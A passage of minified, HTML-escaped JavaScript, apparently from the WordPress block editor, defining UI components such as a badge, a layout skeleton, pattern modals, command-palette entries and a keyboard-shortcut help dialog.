b=Sf(e);v&amp;&amp;!E9(v,b)&amp;&amp;r(),v=b,g=requestAnimationFrame(y)}return r(),()=&gt;{var b;d.forEach(_=&gt;{n&amp;&amp;_.removeEventListener(&quot;scroll&quot;,r),i&amp;&amp;_.removeEventListener(&quot;resize&quot;,r)}),f?.(),(b=h)==null||b.disconnect(),h=null,c&amp;&amp;cancelAnimationFrame(g)}}var r6=y9;var o6=(e,t,r)=&gt;{let o=new Map,n={platform:k9,...r},i={...n.platform,_c:o};return v9(e,t,{...n,platform:i})};function Lw(e){return s9(e.defaultTagName??&quot;div&quot;,e,e)}var A9=s(D(),1);if(typeof document&lt;&quot;u&quot;&amp;&amp;!document.head.querySelector(&quot;style[data-wp-hash=&#039;244b5c59c0&#039;]&quot;)){let e=document.createElement(&quot;style&quot;);e.setAttribute(&quot;data-wp-hash&quot;,&quot;244b5c59c0&quot;),e.appendChild(document.createTextNode(&#039;@layer wp-ui-utilities, wp-ui-components, wp-ui-compositions, wp-ui-overrides;@layer wp-ui-components{._96e6251aad1a6136__badge{border-radius:var(--wpds-border-radius-lg,8px);font-family:var(--wpds-font-family-body,-apple-system,system-ui,&quot;Segoe UI&quot;,&quot;Roboto&quot;,&quot;Oxygen-Sans&quot;,&quot;Ubuntu&quot;,&quot;Cantarell&quot;,&quot;Helvetica Neue&quot;,sans-serif);font-size:var(--wpds-font-size-sm,12px);font-weight:var(--wpds-font-weight-regular,400);line-height:var(--wpds-font-line-height-xs,16px);padding-block:var(--wpds-dimension-padding-xs,4px);padding-inline:var(--wpds-dimension-padding-sm,8px)}._99f7158cb520f750__is-high-intent{background-color:var(--wpds-color-bg-surface-error,#f6e6e3);color:var(--wpds-color-fg-content-error,#470000)}.c20ebef2365bc8b7__is-medium-intent{background-color:var(--wpds-color-bg-surface-warning,#fde6bd);color:var(--wpds-color-fg-content-warning,#2e1900)}._365e1626c6202e52__is-low-intent{background-color:var(--wpds-color-bg-surface-caution,#fee994);color:var(--wpds-color-fg-content-caution,#281d00)}._33f8198127ddf4ef__is-stable-intent{background-color:var(--wpds-color-bg-surface-success,#c5f7cc);color:var(--wpds-color-fg-content-success,#002900)}._04c1aca8fc449412__is-informational-intent{background-color:var(--wpds-color-bg-surface-info,#deebfa);color:var(--wpds-color-fg-content-info,#001b4f)}._90726e69d495ec19__is-draft-intent{background-color:var(--wpds-color-bg-surface-neutral-weak,#f0f0f0);color:var(--wpds-color-fg-content-neutral,#1e1e1e)}._898f4a544993bd39__is-none-intent{background-color:var(--wpds-color-bg-surface-neutral,#f8f8f8);color:var(--wpds-color-fg-content-neutral-weak,#6d6d6d)}}&#039;)),document.head.appendChild(e)}var R9={badge:&quot;_96e6251aad1a6136__badge&quot;,&quot;is-high-intent&quot;:&quot;_99f7158cb520f750__is-high-intent&quot;,&quot;is-medium-intent&quot;:&quot;c20ebef2365bc8b7__is-medium-intent&quot;,&quot;is-low-intent&quot;:&quot;_365e1626c6202e52__is-low-intent&quot;,&quot;is-stable-intent&quot;:&quot;_33f8198127ddf4ef__is-stable-intent&quot;,&quot;is-informational-intent&quot;:&quot;_04c1aca8fc449412__is-informational-intent&quot;,&quot;is-draft-intent&quot;:&quot;_90726e69d495ec19__is-draft-intent&quot;,&quot;is-none-intent&quot;:&quot;_898f4a544993bd39__is-none-intent&quot;},n6=(0,A9.forwardRef)(function({children:t,intent:r=&quot;none&quot;,render:o,className:n,...i},a){return Lw({render:o,defaultTagName:&quot;span&quot;,ref:a,props:Up(i,{className:re(R9.badge,R9[`is-${r}-intent`],n),children:t})})});var O9=s(D(),1);if(typeof document&lt;&quot;u&quot;&amp;&amp;!document.head.querySelector(&quot;style[data-wp-hash=&#039;71d20935c2&#039;]&quot;)){let e=document.createElement(&quot;style&quot;);e.setAttribute(&quot;data-wp-hash&quot;,&quot;71d20935c2&quot;),e.appendChild(document.createTextNode(&quot;@layer wp-ui-utilities, wp-ui-components, wp-ui-compositions, wp-ui-overrides;@layer wp-ui-components{._19ce0419607e1896__stack{display:flex}}&quot;)),document.head.appendChild(e)}var nve={stack:&quot;_19ce0419607e1896__stack&quot;},ive={xs:&quot;var(--wpds-dimension-gap-xs, 4px)&quot;,sm:&quot;var(--wpds-dimension-gap-sm, 8px)&quot;,md:&quot;var(--wpds-dimension-gap-md, 12px)&quot;,lg:&quot;var(--wpds-dimension-gap-lg, 16px)&quot;,xl:&quot;var(--wpds-dimension-gap-xl, 24px)&quot;,&quot;2xl&quot;:&quot;var(--wpds-dimension-gap-2xl, 32px)&quot;,&quot;3xl&quot;:&quot;var(--wpds-dimension-gap-3xl, 40px)&quot;},it=(0,O9.forwardRef)(function({direction:t,gap:r,align:o,justify:n,wrap:i,render:a,...l},c){let u={gap:r&amp;&amp;ive[r],alignItems:o,justifyContent:n,flexDirection:t,flexWrap:i};return Lw({render:a,ref:c,props:Up(l,{style:u,className:nve.stack})})});var Vw=s(D(),1),_f=s(A(),1),Eu=s(E(),1),Wp=s(he(),1),In=s(C(),1),N9=.25,I9={type:&quot;tween&quot;,duration:N9,ease:[.6,0,.4,1]};function sve(e){(0,Vw.useEffect)(()=&gt;{let t=document&amp;&amp;document.querySelector(`html:not(.${e})`);if(t)return t.classList.toggle(e),()=&gt;{t.classList.toggle(e)}},[e])}var ave={hidden:{opacity:1,marginTop:-60},visible:{opacity:1,marginTop:0},distractionFreeHover:{opacity:1,marginTop:0,transition:{...I9,delay:.2,delayChildren:.2}},distractionFreeHidden:{opacity:0,marginTop:-60},distractionFreeDisabled:{opacity:0,marginTop:0,transition:{...I9,delay:.8,delayChildren:.8}}};function lve({isDistractionFree:e,footer:t,header:r,editorNotices:o,sidebar:n,secondarySidebar:i,content:a,actions:l,labels:c,className:u},d){let[f,m]=(0,Wp.useResizeObserver)(),h=(0,Wp.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;),v={type:&quot;tween&quot;,duration:(0,Wp.useReducedMotion)()?0:N9,ease:[.6,0,.4,1]};sve(&quot;interface-interface-skeleton__html-container&quot;);let b={...{header:(0,Eu._x)(&quot;Header&quot;,&quot;header landmark area&quot;),body:(0,Eu.__)(&quot;Content&quot;),secondarySidebar:(0,Eu.__)(&quot;Block Library&quot;),sidebar:(0,Eu._x)(&quot;Settings&quot;,&quot;settings landmark area&quot;),actions:(0,Eu.__)(&quot;Publish&quot;),footer:(0,Eu.__)(&quot;Footer&quot;)},...c};return(0,In.jsxs)(&quot;div&quot;,{ref:d,className:re(u,&quot;interface-interface-skeleton&quot;,!!t&amp;&amp;&quot;has-footer&quot;),children:[(0,In.jsxs)(&quot;div&quot;,{className:&quot;interface-interface-skeleton__editor&quot;,children:[(0,In.jsx)(_f.__unstableAnimatePresence,{initial:!1,children:!!r&amp;&amp;(0,In.jsx)(Tu,{as:_f.__unstableMotion.div,className:&quot;interface-interface-skeleton__header&quot;,&quot;aria-label&quot;:b.header,initial:e&amp;&amp;!h?&quot;distractionFreeHidden&quot;:&quot;hidden&quot;,whileHover:e&amp;&amp;!h?&quot;distractionFreeHover&quot;:&quot;visible&quot;,animate:e&amp;&amp;!h?&quot;distractionFreeDisabled&quot;:&quot;visible&quot;,exit:e&amp;&amp;!h?&quot;distractionFreeHidden&quot;:&quot;hidden&quot;,variants:ave,transition:v,children:r})}),e&amp;&amp;(0,In.jsx)(&quot;div&quot;,{className:&quot;interface-interface-skeleton__header&quot;,children:o}),(0,In.jsxs)(&quot;div&quot;,{className:&quot;interface-interface-skeleton__body&quot;,children:[(0,In.jsx)(_f.__unstableAnimatePresence,{initial:!1,children:!!i&amp;&amp;(0,In.jsx)(Tu,{className:&quot;interface-interface-skeleton__secondary-sidebar&quot;,ariaLabel:b.secondarySidebar,as:_f.__unstableMotion.div,initial:&quot;closed&quot;,animate:&quot;open&quot;,exit:&quot;closed&quot;,variants:{open:{width:m.width},closed:{width:0}},transition:v,children:(0,In.jsxs)(_f.__unstableMotion.div,{style:{position:&quot;absolute&quot;,width:h?&quot;100vw&quot;:&quot;fit-content&quot;,height:&quot;100%&quot;,left:0},variants:{open:{x:0},closed:{x:&quot;-100%&quot;}},transition:v,children:[f,i]})})}),(0,In.jsx)(Tu,{className:&quot;interface-interface-skeleton__content&quot;,ariaLabel:b.body,children:a}),!!n&amp;&amp;(0,In.jsx)(Tu,{className:&quot;interface-interface-skeleton__sidebar&quot;,ariaLabel:b.sidebar,children:n}),!!l&amp;&amp;(0,In.jsx)(Tu,{className:&quot;interface-interface-skeleton__actions&quot;,ariaLabel:b.actions,children:l})]})]}),!!t&amp;&amp;(0,In.jsx)(Tu,{className:&quot;interface-interface-skeleton__footer&quot;,ariaLabel:b.footer,children:t})]})}var ib=(0,Vw.forwardRef)(lve);var jw=s(ft(),1);var sb=s(O(),1),F9=s(Ls(),1),D9=s(W(),1);var B9=s(C(),1),{RenamePatternModal:cve}=N(F9.privateApis),s6=&quot;editor/pattern-rename&quot;;function M9(){let e=(0,sb.useSelect)(n=&gt;n(Ce).isModalActive(s6)),{record:t,postType:r}=(0,sb.useSelect)(n=&gt;{if(!e)return{};let{getCurrentPostType:i,getCurrentPostId:a}=n(w),{getEditedEntityRecord:l}=n(D9.store),c=i();return{record:l(&quot;postType&quot;,c,a()),postType:c}},[e]),{closeModal:o}=(0,sb.useDispatch)(Ce);return!e||r!==qi?null:(0,B9.jsx)(cve,{onClose:o,pattern:t})}var ab=s(O(),1),L9=s(Ls(),1),V9=s(W(),1);var j9=s(C(),1),{DuplicatePatternModal:uve}=N(L9.privateApis),a6=&quot;editor/pattern-duplicate&quot;;function z9(){let e=(0,ab.useSelect)(n=&gt;n(Ce).isModalActive(a6)),{record:t,postType:r}=(0,ab.useSelect)(n=&gt;{if(!e)return{};let{getCurrentPostType:i,getCurrentPostId:a}=n(w),{getEditedEntityRecord:l}=n(V9.store),c=i();return{record:l(&quot;postType&quot;,c,a()),postType:c}},[e]),{closeModal:o}=(0,ab.useDispatch)(Ce);return!e||r!==qi?null:(0,j9.jsx)(uve,{onClose:o,onSuccess:()=&gt;o(),pattern:t})}var dve=()=&gt;function(){let{editorMode:t,isListViewOpen:r,showBlockBreadcrumbs:o,isDistractionFree:n,isFocusMode:i,isPreviewMode:a,isViewable:l,isCodeEditingEnabled:c,isRichEditingEnabled:u,isPublishSidebarEnabled:d}=(0,ti.useSelect)(L=&gt;{let{get:M}=L(l6.store),{isListViewOpened:k,getCurrentPostType:I,getEditorSettings:U}=L(w),{getSettings:G}=L(H9.store),{getPostType:Y}=L(Yp.store);return{editorMode:M(&quot;core&quot;,&quot;editorMode&quot;)??&quot;visual&quot;,isListViewOpen:k(),showBlockBreadcrumbs:M(&quot;core&quot;,&quot;showBlockBreadcrumbs&quot;),isDistractionFree:M(&quot;core&quot;,&quot;distractionFree&quot;),isFocusMode:M(&quot;core&quot;,&quot;focusMode&quot;),isPreviewMode:G().isPreviewMode,isViewable:Y(I())?.viewable??!1,isCodeEditingEnabled:U().codeEditingEnabled,isRichEditingEnabled:U().richEditingEnabled,isPublishSidebarEnabled:L(w).isPublishSidebarEnabled()}},[]),{getActiveComplementaryArea:f}=(0,ti.useSelect)(Ce),{toggle:m}=(0,ti.useDispatch)(l6.store),{createInfoNotice:h}=(0,ti.useDispatch)(U9.store),{__unstableSaveForPreview:g,setIsListViewOpened:v,switchEditorMode:y,toggleDistractionFree:b,toggleSpotlightMode:_,toggleTopToolbar:S}=(0,ti.useDispatch)(w),{openModal:x,enableComplementaryArea:T,disableComplementaryArea:R}=(0,ti.useDispatch)(Ce),{getCurrentPostId:F}=(0,ti.useSelect)(w),B=c&amp;&amp;u;if(a)return{commands:[],isLoading:!1};let z=[];return z.push({name:&quot;core/open-shortcut-help&quot;,label:(0,$e.__)(&quot;Keyboard shortcuts&quot;),icon:sA,category:&quot;view&quot;,callback:({close:L})=&gt;{L(),x(&quot;editor/keyboard-shortcut-help&quot;)}}),z.push({name:&quot;core/toggle-distraction-free&quot;,label:n?(0,$e.__)(&quot;Exit Distraction free&quot;):(0,$e.__)(&quot;Enter Distraction free&quot;),category:&quot;command&quot;,callback:({close:L})=&gt;{b(),L()}}),z.push({name:&quot;core/open-preferences&quot;,label:(0,$e.__)(&quot;Editor preferences&quot;),category:&quot;view&quot;,callback:({close:L})=&gt;{L(),x(&quot;editor/preferences&quot;)}}),z.push({name:&quot;core/toggle-spotlight-mode&quot;,label:i?(0,$e.__)(&quot;Exit Spotlight mode&quot;):(0,$e.__)(&quot;Enter Spotlight mode&quot;),category:&quot;command&quot;,callback:({close:L})=&gt;{_(),L()}}),z.push({name:&quot;core/toggle-list-view&quot;,label:r?(0,$e.__)(&quot;Close List View&quot;):(0,$e.__)(&quot;Open List View&quot;),icon:Iv,category:&quot;command&quot;,callback:({close:L})=&gt;{v(!r),L(),h(r?(0,$e.__)(&quot;List View off.&quot;):(0,$e.__)(&quot;List View on.&quot;),{id:&quot;core/editor/toggle-list-view/notice&quot;,type:&quot;snackbar&quot;})}}),z.push({name:&quot;core/toggle-top-toolbar&quot;,label:(0,$e.__)(&quot;Top toolbar&quot;),category:&quot;command&quot;,callback:({close:L})=&gt;{S(),L()}}),B&amp;&amp;z.push({name:&quot;core/toggle-code-editor&quot;,label:t===&quot;visual&quot;?(0,$e.__)(&quot;Open code editor&quot;):(0,$e.__)(&quot;Exit code editor&quot;),icon:DR,category:&quot;command&quot;,callback:({close:L})=&gt;{y(t===&quot;visual&quot;?&quot;text&quot;:&quot;visual&quot;),L()}}),z.push({name:&quot;core/toggle-breadcrumbs&quot;,label:o?(0,$e.__)(&quot;Hide block breadcrumbs&quot;):(0,$e.__)(&quot;Show block breadcrumbs&quot;),category:&quot;command&quot;,callback:({close:L})=&gt;{m(&quot;core&quot;,&quot;showBlockBreadcrumbs&quot;),L(),h(o?(0,$e.__)(&quot;Breadcrumbs hidden.&quot;):(0,$e.__)(&quot;Breadcrumbs visible.&quot;),{id:&quot;core/editor/toggle-breadcrumbs/notice&quot;,type:&quot;snackbar&quot;})}}),z.push({name:&quot;core/open-settings-sidebar&quot;,label:(0,$e.__)(&quot;Show or hide the Settings panel&quot;),icon:(0,$e.isRTL)()?zd:Ud,category:&quot;command&quot;,callback:({close:L})=&gt;{let M=f(&quot;core&quot;);L(),M===&quot;edit-post/document&quot;?R(&quot;core&quot;):T(&quot;core&quot;,&quot;edit-post/document&quot;)}}),z.push({name:&quot;core/open-block-inspector&quot;,label:(0,$e.__)(&quot;Show or hide the Block settings panel&quot;),icon:vR,category:&quot;command&quot;,callback:({close:L})=&gt;{let M=f(&quot;core&quot;);L(),M===&quot;edit-post/block&quot;?R(&quot;core&quot;):T(&quot;core&quot;,&quot;edit-post/block&quot;)}}),z.push({name:&quot;core/toggle-publish-sidebar&quot;,label:d?(0,$e.__)(&quot;Disable pre-publish checks&quot;):(0,$e.__)(&quot;Enable pre-publish checks&quot;),icon:rA,category:&quot;command&quot;,callback:({close:L})=&gt;{L(),m(&quot;core&quot;,&quot;isPublishSidebarEnabled&quot;),h(d?(0,$e.__)(&quot;Pre-publish checks disabled.&quot;):(0,$e.__)(&quot;Pre-publish checks enabled.&quot;),{id:&quot;core/editor/publish-sidebar/notice&quot;,type:&quot;snackbar&quot;})}}),l&amp;&amp;z.push({name:&quot;core/preview-link&quot;,label:(0,$e.__)(&quot;Preview in a new tab&quot;),icon:Xn,category:&quot;view&quot;,callback:async({close:L})=&gt;{L();let M=F(),k=await g();window.open(k,`wp-preview-${M}`)}}),{commands:z,isLoading:!1}},fve=()=&gt;function(){let{postType:t}=(0,ti.useSelect)(n=&gt;{let{getCurrentPostType:i}=n(w);return{postType:i()}},[]),{openModal:r}=(0,ti.useDispatch)(Ce),o=[];return t===qi&amp;&amp;(o.push({name:&quot;core/rename-pattern&quot;,label:(0,$e.__)(&quot;Rename pattern&quot;),icon:Mv,category:&quot;edit&quot;,callback:({close:n})=&gt;{r(s6),n()}}),o.push({name:&quot;core/duplicate-pattern&quot;,label:(0,$e.__)(&quot;Duplicate pattern&quot;),icon:Wv,category:&quot;command&quot;,callback:({close:n})=&gt;{r(a6),n()}})),{isLoading:!1,commands:o}},mve=()=&gt;function(){let{onNavigateToEntityRecord:t,goBack:r,templateId:o,isPreviewMode:n,canEditTemplate:i}=(0,ti.useSelect)(u=&gt;{let{getRenderingMode:d,getEditorSettings:f,getCurrentTemplateId:m}=N(u(w)),h=f(),g=m();return{isTemplateHidden:d()===&quot;post-only&quot;,onNavigateToEntityRecord:h.onNavigateToEntityRecord,getEditorSettings:f,goBack:h.onNavigateToPreviousEntityRecord,templateId:g,isPreviewMode:h.isPreviewMode,canEditTemplate:!!g&amp;&amp;u(Yp.store).canUser(&quot;update&quot;,{kind:&quot;postType&quot;,name:&quot;wp_template&quot;,id:g})}},[]),{editedRecord:a,hasResolved:l}=(0,Yp.useEntityRecord)(&quot;postType&quot;,&quot;wp_template&quot;,o);if(n)return{isLoading:!1,commands:[]};let c=[];return o&amp;&amp;l&amp;&amp;i&amp;&amp;c.push({name:&quot;core/switch-to-template-focus&quot;,label:(0,$e.sprintf)((0,$e.__)(&quot;Edit template: %s&quot;),(0,jw.decodeEntities)(a.title)),icon:Bs,category:&quot;edit&quot;,callback:({close:u})=&gt;{t({postId:o,postType:&quot;wp_template&quot;}),u()}}),r&amp;&amp;c.push({name:&quot;core/switch-to-previous-entity&quot;,label:(0,$e.__)(&quot;Go back&quot;),icon:qm,category:&quot;view&quot;,callback:({close:u})=&gt;{r(),u()}}),{isLoading:!1,commands:c}},pve=()=&gt;function(){let{postType:t,postId:r}=(0,ti.useSelect)(l=&gt;{let{getCurrentPostId:c,getCurrentPostType:u}=l(w);return{postType:u(),postId:c()}},[]),{editedRecord:o,hasResolved:n}=(0,Yp.useEntityRecord)(&quot;postType&quot;,t,r),{revertTemplate:i}=N((0,ti.useDispatch)(w));if(!n||![Ur,xt].includes(t))return{isLoading:!0,commands:[]};let a=[];if(e_(o)){let l=o.type===xt?(0,$e.sprintf)((0,$e.__)(&quot;Reset template: %s&quot;),(0,jw.decodeEntities)(o.title)):(0,$e.sprintf)((0,$e.__)(&quot;Reset template part: %s&quot;),(0,jw.decodeEntities)(o.title));a.push({name:&quot;core/reset-template&quot;,label:l,icon:(0,$e.isRTL)()?OA:RA,category:&quot;command&quot;,callback:({close:c})=&gt;{i(o),c()}})}return{isLoading:!n,commands:a}};function G9(){(0,lb.useCommandLoader)({name:&quot;core/editor/edit-ui&quot;,hook:dve()}),(0,lb.useCommandLoader)({name:&quot;core/editor/contextual-commands&quot;,hook:fve(),context:&quot;entity-edit&quot;}),(0,lb.useCommandLoader)({name:&quot;core/editor/page-content-focus&quot;,hook:mve(),context:&quot;entity-edit&quot;}),(0,lb.useCommandLoader)({name:&quot;core/edit-site/manipulate-document&quot;,hook:pve()})}var zw=s(O(),1),q9=s(D(),1),Z9=s(Y9(),1);var qp=&quot;upload-in-progress&quot;;function K9(){let e=window.__clientSideMediaProcessing,t=(0,zw.useSelect)(a=&gt;e?a(Z9.store).isUploading():!1,[e]),{lockPostSaving:r,unlockPostSaving:o,lockPostAutosaving:n,unlockPostAutosaving:i}=(0,zw.useDispatch)(w);(0,q9.useEffect)(()=&gt;{if(e)return t?(r(qp),n(qp)):(o(qp),i(qp)),()=&gt;{o(qp),i(qp)}},[e,t,r,o,n,i])}var wf=s(E(),1),Q9=s($(),1),J9=s(O(),1),$9=s(D(),1);var ej=s(C(),1),{BlockRemovalWarningModal:X9}=N(Q9.privateApis),hve=[&quot;core/post-content&quot;,&quot;core/post-template&quot;,&quot;core/query&quot;],gve=[{postTypes:[&quot;wp_template&quot;,&quot;wp_template_part&quot;],callback(e){if(e.filter(({name:o})=&gt;o===&quot;core/post-content&quot;).length)return{description:(0,wf.__)(&quot;This block displays the content of posts and pages using this template.&quot;),warning:(0,wf.__)(&quot;If you delete it, posts or pages using this template will not display any content.&quot;),subtext:(0,wf.__)(&quot;Visitors will see blank pages.&quot;),requireConfirmation:!0};if(e.filter(({name:o})=&gt;hve.includes(o)).length)return(0,wf._n)(&quot;Deleting this block will stop your post or page content from displaying on this template. It is not recommended.&quot;,&quot;Some of the deleted blocks will stop your post or page content from displaying on this template. It is not recommended.&quot;,e.length)}},{postTypes:[&quot;wp_block&quot;],callback(e){if(e.filter(({attributes:r})=&gt;r?.metadata?.bindings&amp;&amp;Object.values(r.metadata.bindings).some(o=&gt;o.source===&quot;core/pattern-overrides&quot;)).length)return(0,wf._n)(&quot;The deleted block allows instance overrides. Removing it may result in content not displaying where this pattern is used. Are you sure you want to proceed?&quot;,&quot;Some of the deleted blocks allow instance overrides. Removing them may result in content not displaying where this pattern is used. Are you sure you want to proceed?&quot;,e.length)}}];function tj(){let e=(0,J9.useSelect)(r=&gt;r(w).getCurrentPostType(),[]),t=(0,$9.useMemo)(()=&gt;gve.filter(r=&gt;r.postTypes.includes(e)),[e]);return!X9||!t?null:(0,ej.jsx)(X9,{rules:t})}var Ru=s(A(),1),c6=s(E(),1),xf=s(D(),1),Uw=s($(),1),Kl=s(O(),1),rj=s(W(),1),oj=s(Xe(),1),u6=s(lt(),1);var Ia=s(C(),1);function vve(){let{blockPatternsWithPostContentBlockType:e,postType:t}=(0,Kl.useSelect)(r=&gt;{let{getPatternsByBlockTypes:o,getBlocksByName:n}=r(Uw.store),{getCurrentPostType:i,getRenderingMode:a}=r(w),l=a()===&quot;post-only&quot;?&quot;&quot;:n(&quot;core/post-content&quot;)?.[0];return{blockPatternsWithPostContentBlockType:o(&quot;core/post-content&quot;,l),postType:i()}},[]);return(0,xf.useMemo)(()=&gt;e?.length?e.filter(r=&gt;t===&quot;page&quot;&amp;&amp;!r.postTypes||Array.isArray(r.postTypes)&amp;&amp;r.postTypes.includes(t)):[],[t,e])}function yve({blockPatterns:e,onChoosePattern:t}){let{editEntityRecord:r}=(0,Kl.useDispatch)(rj.store),{postType:o,postId:n}=(0,Kl.useSelect)(i=&gt;{let{getCurrentPostType:a,getCurrentPostId:l}=i(w);return{postType:a(),postId:l()}},[]);return(0,Ia.jsx)(Uw.__experimentalBlockPatternsList,{blockPatterns:e,onClickPattern:(i,a)=&gt;{r(&quot;postType&quot;,o,n,{blocks:a,content:({blocks:l=[]})=&gt;(0,oj.__unstableSerializeAndClean)(l)}),t()}})}function bve({onClose:e}){let[t,r]=(0,xf.useState)(!0),{set:o}=(0,Kl.useDispatch)(u6.store),n=vve();if(!(n.length&gt;0))return null;function a(){e(),o(&quot;core&quot;,&quot;enableChoosePatternModal&quot;,t)}return(0,Ia.jsxs)(Ru.Modal,{className:&quot;editor-start-page-options__modal&quot;,title:(0,c6.__)(&quot;Choose a pattern&quot;),isFullScreen:!0,onRequestClose:a,children:[(0,Ia.jsx)(&quot;div&quot;,{className:&quot;editor-start-page-options__modal-content&quot;,children:(0,Ia.jsx)(yve,{blockPatterns:n,onChoosePattern:a})}),(0,Ia.jsx)(Ru.Flex,{className:&quot;editor-start-page-options__modal__actions&quot;,justify:&quot;flex-start&quot;,expanded:!1,children:(0,Ia.jsx)(Ru.FlexItem,{children:(0,Ia.jsx)(Ru.CheckboxControl,{checked:t,label:(0,c6.__)(&quot;Always show starter patterns for new pages&quot;),onChange:l=&gt;{r(l)}})})})]})}function nj(){let[e,t]=(0,xf.useState)(!1),{isEditedPostDirty:r,isEditedPostEmpty:o}=(0,Kl.useSelect)(w),{isModalActive:n}=(0,Kl.useSelect)(Ce),{enabled:i,postId:a}=(0,Kl.useSelect)(l=&gt;{let{getCurrentPostId:c,getCurrentPostType:u}=l(w),d=l(u6.store).get(&quot;core&quot;,&quot;enableChoosePatternModal&quot;),f=u();return{postId:c(),enabled:d&amp;&amp;ur!==f&amp;&amp;xt!==f&amp;&amp;Ur!==f}},[]);return(0,xf.useEffect)(()=&gt;{let l=!r()&amp;&amp;o(),c=n(&quot;editor/preferences&quot;);!i||!l||c||t(!0)},[i,a,r,o,n]),e?(0,Ia.jsx)(bve,{onClose:()=&gt;t(!1)}):null}var hj=s(A(),1),Na=s(E(),1),Yw=s(Oi(),1),cb=s(O(),1);var ss=s(E(),1),sj=[{keyCombination:{modifier:&quot;primary&quot;,character:&quot;b&quot;},description:(0,ss.__)(&quot;Make the selected text bold.&quot;)},{keyCombination:{modifier:&quot;primary&quot;,character:&quot;i&quot;},description:(0,ss.__)(&quot;Make the selected text italic.&quot;)},{keyCombination:{modifier:&quot;primary&quot;,character:&quot;k&quot;},description:(0,ss.__)(&quot;Convert the selected text into a link.&quot;)},{keyCombination:{modifier:&quot;primaryShift&quot;,character:&quot;k&quot;},description:(0,ss.__)(&quot;Remove a link.&quot;)},{keyCombination:{character:&quot;[[&quot;},description:(0,ss.__)(&quot;Insert a link to a post or page.&quot;)},{keyCombination:{modifier:&quot;primary&quot;,character:&quot;u&quot;},description:(0,ss.__)(&quot;Underline the selected text.&quot;)},{keyCombination:{modifier:&quot;access&quot;,character:&quot;d&quot;},description:(0,ss.__)(&quot;Strikethrough the selected text.&quot;)},{keyCombination:{modifier:&quot;access&quot;,character:&quot;x&quot;},description:(0,ss.__)(&quot;Make the selected text inline code.&quot;)},{keyCombination:{modifier:&quot;access&quot;,character:&quot;0&quot;},aliases:[{modifier:&quot;access&quot;,character:&quot;7&quot;}],description:(0,ss.__)(&quot;Convert the current heading to a paragraph.&quot;)},{keyCombination:{modifier:&quot;access&quot;,character:&quot;1-6&quot;},description:(0,ss.__)(&quot;Convert the current paragraph or heading to a heading of level 1 to 6.&quot;)},{keyCombination:{modifier:&quot;primaryShift&quot;,character:&quot;SPACE&quot;},description:(0,ss.__)(&quot;Add non breaking space.&quot;)}];var cj=s(D(),1),Hw=s(yo(),1),as=s(C(),1);function lj({keyCombination:e,forceAriaLabel:t}){let r=e.modifier?Hw.displayShortcutList[e.modifier](e.character):e.character,o=e.modifier?Hw.shortcutAriaLabel[e.modifier](e.character):e.character;return(0,as.jsx)(&quot;kbd&quot;,{className:&quot;editor-keyboard-shortcut-help-modal__shortcut-key-combination&quot;,&quot;aria-label&quot;:t||o,children:(Array.isArray(r)?r:[r]).map((n,i)=&gt;n===&quot;+&quot;?(0,as.jsx)(cj.Fragment,{children:n},i):(0,as.jsx)(&quot;kbd&quot;,{className:&quot;editor-keyboard-shortcut-help-modal__shortcut-key&quot;,children:n},i))})}function Sve({description:e,keyCombination:t,aliases:r=[],ariaLabel:o}){return(0,as.jsxs)(as.Fragment,{children:[(0,as.jsx)(&quot;div&quot;,{className:&quot;editor-keyboard-shortcut-help-modal__shortcut-description&quot;,children:e}),(0,as.jsxs)(&quot;div&quot;,{className:&quot;editor-keyboard-shortcut-help-modal__shortcut-term&quot;,children:[(0,as.jsx)(lj,{keyCombination:t,forceAriaLabel:o}),r.map((n,i)=&gt;(0,as.jsx)(lj,{keyCombination:n,forceAriaLabel:o},i))]})]})}var Gw=Sve;var uj=s(O(),1),dj=s(Oi(),1);var fj=s(C(),1);function _ve({name:e}){let{keyCombination:t,description:r,aliases:o}=(0,uj.useSelect)(n=&gt;{let{getShortcutKeyCombination:i,getShortcutDescription:a,getShortcutAliases:l}=n(dj.store);return{keyCombination:i(e),aliases:l(e),description:a(e)}},[e]);return t?(0,fj.jsx)(Gw,{keyCombination:t,description:r,aliases:o}):null}var mj=_ve;var Mo=s(C(),1),pj=&quot;editor/keyboard-shortcut-help&quot;,wve=({shortcuts:e})=&gt;(0,Mo.jsx)(&quot;ul&quot;,{className:&quot;editor-keyboard-shortcut-help-modal__shortcut-list&quot;,role:&quot;list&quot;,children:e.map((t,r)=&gt;(0,Mo.jsx)(&quot;li&quot;,{className:&quot;editor-keyboard-shortcut-help-modal__shortcut&quot;,children:typeof t==&quot;string&quot;?(0,Mo.jsx)(mj,{name:t}):(0,Mo.jsx)(Gw,{...t})},r))}),d6=({title:e,shortcuts:t,className:r})=&gt;(0,Mo.jsxs)(&quot;section&quot;,{className:re(&quot;editor-keyboard-shortcut-help-modal__section&quot;,r),children:[!!e&amp;&amp;(0,Mo.jsx)(&quot;h2&quot;,{className:&quot;editor-keyboard-shortcut-help-modal__section-title&quot;,children:e}),(0,Mo.jsx)(wve,{shortcuts:t})]}),Ww=({title:e,categoryName:t,additionalShortcuts:r=[]})=&gt;{let o=(0,cb.useSelect)(n=&gt;n(Yw.store).getCategoryShortcuts(t),[t]);return(0,Mo.jsx)(d6,{title:e,shortcuts:o.concat(r)})};function xve(){let e=(0,cb.useSelect)(n=&gt;n(Ce).isModalActive(pj),[]),{openModal:t,closeModal:r}=(0,cb.useDispatch)(Ce),o=()=&gt;{e?r():t(pj)};return(0,Yw.useShortcut)(&quot;core/editor/keyboard-shortcuts&quot;,o),e?(0,Mo.jsxs)(hj.Modal,{className:&quot;editor-keyboard-shortcut-help-modal&quot;,title:(0,Na.__)(&quot;Keyboard shortcuts&quot;),closeButtonLabel:(0,Na.__)(&quot;Close&quot;),onRequestClose:o,children:[(0,Mo.jsx)(d6,{className:&quot;editor-keyboard-shortcut-help-modal__main-shortcuts&quot;,shortcuts:[&quot;core/editor/keyboard-shortcuts&quot;]}),(0,Mo.jsx)(Ww,{title:(0,Na.__)(&quot;Global shortcuts&quot;),categoryName:&quot;global&quot;}),(0,Mo.jsx)(Ww,{title:(0,Na.__)(&quot;Selection shortcuts&quot;),categoryName:&quot;selection&quot;}),(0,Mo.jsx)(Ww,{title:(0,Na.__)(&quot;Block shortcuts&quot;),categoryName:&quot;block&quot;,additionalShortcuts:[{keyCombination:{character:&quot;/&quot;},description:(0,Na.__)(&quot;Change the block type after adding a new paragraph.&quot;),ariaLabel:(0,Na.__)(&quot;Forward-slash&quot;)}]}),(0,Mo.jsx)(d6,{title:(0,Na.__)(&quot;Text formatting&quot;),shortcuts:sj}),(0,Mo.jsx)(Ww,{title:(0,Na.__)(&quot;List View 